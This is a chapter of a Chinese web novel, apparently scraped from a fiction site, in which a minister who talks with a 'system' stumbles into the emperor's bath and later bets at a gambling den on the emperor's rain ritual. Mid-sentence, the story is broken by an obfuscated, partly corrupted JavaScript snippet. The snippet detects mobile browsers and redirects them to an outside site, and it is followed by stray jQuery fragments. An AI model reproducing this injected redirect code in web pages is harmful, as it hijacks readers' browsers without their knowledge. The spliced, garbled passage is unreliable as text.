风竹小说 > 玄幻魔法 > 被疯批暴君听见心声后 > 18. 狗皇帝!
    宁冉阳眼睛瞪的更大了。

    像是要用眼神杀死殷池誉一样。

    殷池誉也是这么想的。

    他索性闭上眼,等着宁冉阳用巫术弄死他。

    这样就不用面对那群每天上朝都要磨嘴皮子的大臣,也不用再受宁冉阳的折磨。

    然而,宁冉阳只是疑惑。

    他不懂殷池誉好端端的,为什么突然想自杀。

    难道是自己捏腹肌的动作太轻浮?

    小皇帝不乐意了?

    啧啧,真小气。

    宁冉阳停下动作,手却没从他的腹肌上拿开:“陛下,方才臣手滑了,没伤到您吧?”

    系统:【好拙劣的谎言。】

    宁冉阳:【解释一下,万一信了呢。】

    殷池誉:......

    宁冉阳真是,拿他当三岁幼童糊弄。

    都不愿多说几句好话,甚至当着他的面还在和那个所谓的系统闲聊。

    难道他作为天子,连一个死物都比不上?

    明明能决定宁冉阳生死的,应该是他才对!

    殷池誉心中凭空生出一股恼怒,攥着宁冉阳手腕的手也加重了力气。

    宁冉阳嘤咛一声。

    寝殿外的交谈声止住。

    徐朗清不确定道:“你有没有听到什么声音?”

    小贵子看看天空中刚飞过去的两只鸟:“徐大人指的是天上的飞鸟?”

    徐朗清摇摇头:“可能是我幻听了吧。”

    —

    寝殿内,宁冉阳的嘴被殷池誉紧紧捂住。

    两人的姿势已然从单纯的面对面,变成了肌肤相贴的紧靠。

    宁冉阳能明显感觉到殷池誉那隐藏在布料下的好身材。

    宁冉阳不禁想入非非,脚下一滑,直接狠狠撞了殷池誉一下,两人齐齐摔进浴桶。

    殷池誉还没缓过来,耳边就全是宁冉阳的“我靠”。

    他眼前一黑,无语到哈哈大笑。

    宁冉阳,好的很!

    到现在还在作法。

    殷池誉感觉自己对未来充满了期望。

    他现在一点也不想死了,他要好好活,活着看宁冉阳还能作出什么妖来!

    —

    宁冉阳还什么都没做,危机就莫名其妙解除了。

    虽然这很奇怪,但宁冉阳仔细一琢磨,觉得可能是剧情故障了。

    小说嘛,出点纰漏很正常。

    打游戏还经常出bug呢,小皇帝脑子抽风又怎样。

    唯一难办的是,宁冉阳得想个合理的原因解释自己为什么会凭空出现在这。

    毕竟这是皇帝寝殿,不能随意乱闯。

    如果他说是为了保护小皇帝,搞不好立马就要被侍卫拖下去投胎了。

    大白天的穿着官服飞檐走壁保护皇帝,这也太扯了,肯定没人会信。

    而且他刚刚还冒犯了小皇帝。

    奖励了自己。

    想到这个,宁冉阳又嘿嘿笑了。

    殷池誉整理衣领的手一顿:......

    他内心好奇,往后看了眼。

    不看还好,一看他的心跳就乱了。

    视野中,宁冉阳的嘴角极力向下压,却还是克制不住上翘,不仅脸颊憋的绯红,细白的脖颈也是粉色,就连耳垂上的小痣也艳到滴血。

    殷池誉视线下移,看到了宁冉阳白嫩手腕上的点点红痕。

    是他刚刚掐出来的。

    “陛下,臣刚才说的,您信...听见了吗?”宁冉阳小猫似的凑到殷池誉跟前,方才被水打湿,现下翘起来的发梢无意碰了碰殷池誉的下颌。

    殷池誉猛地退后一大步。

    宁冉阳:“?”

    【抽风了这是?】

    听着宁冉阳的心声,殷池誉稍稍冷静了些。

    刚才有那么一瞬间,他居然会觉得宁冉阳很...美。

    真是疯了。

    宁冉阳没得到答案,拿不准殷池誉是信还是没信,于是又说了一遍:“陛下,臣方才得到了神的指引,这才到了寝殿附近,没想到有一股神奇的引力将臣吸了过来,惊扰了陛下。”

    “臣真是内疚啊!内疚!”

    殷池誉轻捻指尖,目光落在宁冉阳说谎时就会发红的鼻尖。

    宁冉阳拙劣的演技,若是放在夺嫡之争里,没有他护着,连半天都活不过。

    殷池誉深深地看了宁冉阳一眼:“朕知道了。”

    “既然宁卿是承了天道大恩的妙人,可千万要不辱使命,好好完成祭祀。”

    —

    宁冉阳今晚没留宿在皇宫。

    倒不是听了宁泗的话,而是殷池誉命人快马加鞭把他送回了丞相府。

    他私下问了陪同的小太监。

    小太监只说:“小贵子公公说,陛下晚上听到有水鬼喊水,惊到了,怕宁侍郎也跟着受罪,这才让奴才送大人回来。”

    水鬼本鬼—宁冉阳:...

    “陛下怪贴心的哈。”

    从招财挂在腰间的钱袋子里摸出了几两碎银扔给小太监后,宁冉阳晃悠着进了丞相府。

    招财摸着扁扁的钱袋子,哭丧着一张小脸,却不忘在旁边护着自家少爷。

    左脚迈进大门时,宁冉阳想起来件事,他问:【系统,我用技能前,你想说啥来着?】

    系统:【本统只是没想到主角攻居然有八块腹肌啦~】

    宁冉阳:...

    所以就为了这点小事,

    亏他还以为是殷池誉又招惹了谁,又把哪把刀架到了脖子上。

    虚惊一场。

    宁冉阳打了个哈欠,余光注意到招财小脸都要耷拉到地上了。

    他问:“怎么了?没吃饭啊?”

    招财瘪着嘴:“少爷,你把小的吃饭的银子送出去了。”

    宁冉阳不好意思的摸了摸鼻尖。

    他刚才顺手了,怪不得没有花钱那种既爽又心痛的感觉。

    敢情花的是别人的钱。

    招财看起来着实可怜,颇有一副天塌了的悲伤。

    宁冉阳却是神秘一笑:“走,少爷带你赚大钱!”

    —

    刚入夜,宁冉阳就拉着招财到了京城最有名的赌场外。

    招财:“少爷,老爷不让我们来赌场这种地方的。”

    宁泗为人廉正,从不去奢贵的娱乐场所,对于赌场这种鱼龙混杂的地方,平时更是严令禁止府内小厮去的。

    宁冉阳露出个狡黠的笑,手指轻晃:“谁说是我们来了,我们只是恰好迷路了,一不小心走进了赌场。”

    “然后又一个不小心赢了钱。”

    招财被宁冉阳唬得一愣一愣的,一句辩驳的话也说不出来,就被宁冉阳拉着进了赌场。

    赌场内挤满了人,各种声音混杂,骰子和棋牌被拍在桌面发出脆响,围着其中一张桌子的人发出雀跃的欢呼,更加嘈杂了。

    宁冉阳蹙着眉头,和招财在人群中穿梭。

    终于,在被魁梧大汉踩成芝麻小饼前,宁冉阳找到了地方。

    一个四四方方的小桌围了不下三十个人。

    宁冉阳活动了下筋骨,一边喊着‘让让’,一边毫不客气的从夹缝中挤到了小桌最前面。

    桌子前,一荷官打扮的人高声叫喊。

    “买定离手,觉得狗皇帝能求雨成功的押左边,不能的压右边!”

    话音刚落,众人就都把手里的赌注压到了右边。

    宁冉阳却是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16960956|193304||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    自信一笑,果断把所有的赌注都压到了左边。

    身旁的人发出“咦”声。

    “败家子。”

    宁冉阳转头:“不用自我介绍,会让别人觉得你很随便的。”

    那人:?

    “我是说你,败家子。”

    宁冉阳:“何出此言?”

    那人先是将手里的一半赌注都压到了左边,然后给了宁冉阳一个不屑的眼神:“谁不知道狗皇帝上位不光彩,连天神都恼他,哪会给他降雨,你呀,全压他就是败家!”

    凭白被人指着鼻子骂,宁冉阳也来了火气。

    他叉腰,猛吸一口气:“说谁呢你,陛下怎么就不光彩了,连当今陛下都敢骂,我看你才是屎壳郎镶金边,屁用没有!”

    “今天我还就把话撂这了,陛下肯定能行!”

    —

    赌场二楼。

    徐朗清好笑的看着下面的闹剧。

    “陛下,小太阳发威了,还是为了袒护你哎,你不看看吗?”

    殷池誉呷了一口茶,话语无情,嘴角却是上扬的:“粗鲁莽夫,有什么好看的?”

    徐朗清:“可是小太阳...”

    殷池誉不耐皱眉,打断他:“不要随便给别人起绰号。”

    什么太阳月亮的,明明就是个麻烦精。

    见人心情不佳,徐朗清没再开玩笑,他坐下:“陛下,您带我来这,不能是看戏来了吧?”

    殷池誉掀起眼皮,懒懒看他:“废话。”

    茶杯被搁在桌上,殷池誉慵懒的往后一靠:“朝中官员,可有什么亲眷家属姓尹?”

    徐朗清:“尹?”

    他眉毛乱飞想了半天,也没有头绪。

    殷池誉看他这样,不禁开口嘲讽:“自诩百事通的徐大人,没想到也是个草包。”

    殷池誉掸掸袍上不存在的灰尘,站起身。

    正准备离开,下方传来一阵喧闹。

    殷池誉抬眼望去。

    就见那被围在人群中的红衣少年正是宁冉阳。

    站在宁冉阳前面的那人推了他一下,宁冉阳便跌倒在地。

    即使离得远,殷池誉却仿佛听见了宁冉阳吸气的声音。

    徐朗清看得啧啧称奇。

    “连朝廷官员都敢打,这群刁民。”

    话说完许久,都没见殷池誉回他。

    他回头,旁边哪还有人。

    连留在地板上的脚印都是模糊的。

    —

    宁冉阳被人团团围住,被推倒时手肘不小心嗑到了地上,疼的他倒吸冷气。

    原主体弱不是随便说说的,从小到大,这副身子都是靠药膳温养,生个小病都能要了他半条命。

    宁冉阳穿来时,没了原主忧郁的性子,身体也跟着好了不少,除了被殷池誉恐吓,也没受什么罪。

    但现在却是实打实的受伤了。

    宁冉阳疼的眼泪都要掉下来了。

    不止手肘,被那人用力推到的地方都疼的紧。

    气的他在心里直骂娘。

    殷池誉走到一楼大厅时,已经听宁冉阳骂了二百五十遍——“去他娘的。”

    殷池誉冷笑到嘴角都抽搐了。

    一开始的心慌也逐渐被荒缪代替。

    殷池誉脚步慢了下来。

    他突然不明白自己为什么要这么着急的跑下来。

    人群中,宁冉阳四处乱瞄,穿过缝隙,他看见了在不远处的殷池誉。

    宁冉阳眼睛倏地亮了。

    他大喊:“你们的狗皇帝在那!”

    顿时,人群的目光都向殷池誉投射过来。

    殷池誉:......

    明白了,他是皮痒了,一会没被骂就不舒坦。